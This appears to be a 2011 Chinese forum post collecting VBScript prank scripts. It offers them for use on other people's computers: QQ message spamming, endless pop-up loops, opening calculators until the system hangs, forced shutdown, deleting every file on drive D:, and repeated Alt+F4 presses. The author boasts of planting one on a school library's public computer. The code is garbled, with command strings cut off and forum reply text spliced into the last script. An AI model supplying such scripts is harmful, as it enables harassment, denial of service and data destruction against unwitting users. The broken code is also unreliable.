vbs整人代码大**
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=>
=--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye
set wsh=createobject(\for i=1 to 10
wscript.sleep 700
wsh.AppActivate(\与 xx 聊天中\wsh.sendKeys \wsh.sendKeys i wsh.sendKeys \next
wscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------ do
msgbox \loop
------------------------------------------------------------------------------
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject(\do
wsh.run \loop
-----------------------------------------------------------------------------
四、直接关机
----------------------------------------------------------------------------- dim WSHshell
set WSHshell = wscript.createobject(\WSHshell.run \
----------------------------------------------------------------------------- 五、删除D:\\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject(\WSHshell.run \---------------------------------------------------------------------------- 六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox \哈哈 你被耍了！\loop
---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……）
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject(\while(1)
WSHshell.SendKeys \loop
---------------------------------------------------------------------------
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)
-----------------------------------------------------------------------------
dim s
do until s=500 s=s+1
msgbox \哥们，给我按500次回车吧\loop
'------------------------ ------------------------------------------------------------
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo(\嘿，谢谢你打开我哦，我等你很久
拉！\
WScript.Echo(\你是可爱的小朋吗?\
WScript.Echo(\哈,我想你拉，这你都不知道吗？\ 顶 0
举报 | 2011-06-01 20:46回复 菊花爆开 电白自学 2楼
WScript.Echo(\怎么才来，说~是不是不关心我\
WScript.Echo(\哼,我生气拉，等你这么久，心都凉啦。\WScript.Echo(\小强很生气，后果很严重哦。\WScript.Echo(\嘿嘿！你也会很惨滴哦\WScript.Echo(\是不是想清除我？\
WScript.Echo(\那你要点上50下哦，不过会给你惊喜滴\WScript.Echo(\还剩49下，快点点哦\
WScript.Echo(\还剩48下，快点，小笨蛋！\WScript.Echo(\还剩47下对，就这样快点点！\
WScript.Echo(\还剩46下。你啊就是笨，要快哦，我先不打扰
你工作。\
WScript.Echo(\还剩45下，记得要快哦！\WScript.Echo(\还剩43下\WScript.Echo(\还剩42下\WScript.Echo(\还剩41下\WScript.Echo(\还剩40下\WScript.Echo(\还剩39下\WScript.Echo(\还剩38下\WScript.Echo(\还剩37下\WScript.Echo(\还剩36下\WScript.Echo(\还剩35下\WScript.Echo(\还剩34下\WScript.Echo(\还剩33下\